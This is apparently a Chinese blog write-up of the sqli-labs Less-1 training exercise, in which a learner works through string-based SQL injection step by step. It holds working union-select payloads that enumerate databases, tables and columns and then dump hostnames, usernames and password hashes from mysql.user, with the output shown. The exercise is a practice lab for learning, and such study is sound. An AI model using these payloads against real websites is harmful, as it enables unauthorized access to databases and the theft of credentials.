less-1的详细题解

Less-1 Error Based - String

payload:?id=1

回显显示正常

payload:?id=1+1

payload:?id=1-1

回显和id=1一致 说明+1没有被执行

则id的字段类型不是数字型

了解到这一点后 我查询了字符型的sql注入

测试注入语句是:

xx' and '1'=1--' 
xx' and '1=2--'

然后我测试了两个payload

?id=1'and '1'=1--'

?id=1'and '1=2--'

第二个payload回显错误

You have an error  in your SQL syntax; check the manual that corresponds to your MySQL  server version for the right syntax to use near ''1=2--'' LIMIT 0,1' at  line 1

则说明确实为字符型注入

注意:near '' 1 ’ LIMIT 0,1 ' at line 1 这一块说明了什么!

分析一下 --+注释就是

下一个步骤为猜字段数

方式为联合查询

1到12 到123

123时回显正常 则说明有三列

payload:?id=1' union select 1,2,3%23

然后指定id=0来判断回显的内容 和第几列对应

payload:?id=0' union select 1,2,3%23

name对应2,password对应3,所以我们在构造payload的时候只需要替换2即可(不太理解)

下一步爆数据库名

payload:?id=0' UNION SELECT 1,database(),3%23

引入database()函数

DATABASE()函数

MySQL中的DATABASE()函数返回默认或当前数据库的名称。
DATABASE()函数返回的字符串或名称使用utf8字符集。
如果没有默认数据库,则Database函数返回NULL。

所以可以得出数据库的名字 security

下一步爆表名

payload:?id=0' UNION SELECT 1,(SELECT GROUP_CONCAT(table_name) from information_schema.tables),3%23

引入GROUP_CONCAT(table_name)函数

解释为:TABLE_SCHEMA表示表所属的数据库名称;

TABLE_NAME表示表的名称

引入information_schema.tables

解释为:mysql中的information_schema 结构用来存储数据库系统信息

这句的意思即为得到当前库的所有表名

似乎没什么用 得到了一大堆表名

下一个payload:

?id=0' UNION SELECT 1,(SELECT GROUP_CONCAT(table_name) from information_schema.tables where table_schema='security'),3%23

得到当前库的所有表

select group_concat(table_name) from information_schema.tables where table_schema=database()

上一步dabase()已经爆出数据库名为security 也就是替换即可

security库的表名有 emails,referers,uagents,users

构造payload:

?id=0' UNION SELECT 1,(SELECT GROUP_CONCAT(table_name) from information_schema.tables where table_schema='mysql'),3%23

现在爆的是mysql库的表名

得出一大堆

下一步爆字段名

payload:

?id=0' UNION SELECT 1,(SELECT GROUP_CONCAT(COLUMN_NAME) from information_schema.COLUMNS where table_schema='mysql' and table_name='user'),3%23

样式是不变的 前面改为COLUMN_NAME表示查询的是字段名

后面多加个table_name表示表名是什么 方便查询字段名

此处查的是mysql库里的user表

然后又查出来一堆Host,User,Password,Select_priv,Insert_priv,Update_priv,Delete_priv,Create_priv,Drop_priv,Reload_priv,Shutdown_priv,Process_priv,File_priv,Grant_priv,References_priv,Index_priv,Alter_priv,Show_db_priv,Super_priv,Create_tmp_table_priv,Lock_tables_priv,Execute_priv,Repl_slave_priv,Repl_client_priv,Create_view_priv,Show_view_priv,Create_routin

注意:因为sql查询的字段数是有限制的 所以要利用substr函数逐步获取全部字段名

?id=0' UNION SELECT 1,(SELECT substr(GROUP_CONCAT(COLUMN_NAME),1,200) from information_schema.COLUMNS where table_schema='mysql' and table_name='user'),3%23

然后把1,200改成 200,400然后再改成400,200

(疑问是为什么要用这样的数字,猜测可能最大限制是200)

然后就得出了完整的字段名mysql->user->

Host,User,Password,Select_priv,Insert_priv,Update_priv,Delete_priv,Create_priv,Drop_priv,Reload_priv,Shutdown_priv,Process_priv,File_priv,Grant_priv,References_priv,Index_priv,Alter_priv,Show_db_priv,Super_priv,Create_tmp_table_priv,Lock_tables_priv,Execute_priv,Repl_slave_priv,Repl_client_priv,Create_view_priv,Show_view_priv,Create_routine_priv,Alter_routine_priv,Create_user_priv,Event_priv,Triger_priv,Create_tablespace_priv,ssl_type,ssl_cipher,x509_issuer,x509_subject,max_questions,max_updates,max_connections,max_user_connections,plugin,authentication_string

下一步构造root权限


payload:

?id=0' UNION SELECT 1,(SELECT count(*) from mysql.user),3%23

没看翻译基本可以看懂了 联合查询 name替换为了

SELECT count(*) from mysql.user

后面的意思也很简单 mysql库的user表

count(*) 函数就是返回user表的行数

我返回了一个5 但wp上说的是四行 留观

构造payload:

?id=0' UNION SELECT 1,(SELECT GROUP_CONCAT(CONCAT(Host,'-',User,'-',Password,'-',authentication_string)) from mysql.user),3%23

引入concat函数 链接字符串就是

concat()函数

\1. 含义:

将多个字符串连接成一个字符串。

\2. 演示:

select concat (id, name) as info from t1;

那么payload的含义就很明显了 连接Host User等等表的字符串 中间用“-“符号隔开

回显结果是:

localhost-root--,3b9929c797f1-root--,127.0.0.1-root--,::1-root--,%-mituan-31ec5cdb55adb176-

flag :3b9929c797f1

说明不允许远程登录,如果MySQL允许root远程登录的话会出现一行新的数据host内部为%,如下所示 %-root-xxxx-xxxxx

不太理解 远程登录

 




上一篇:[极客大挑战 2019]HardSQL 1-SQL报错注入


下一篇:软件测试进阶之自动化测试——locust性能测试实例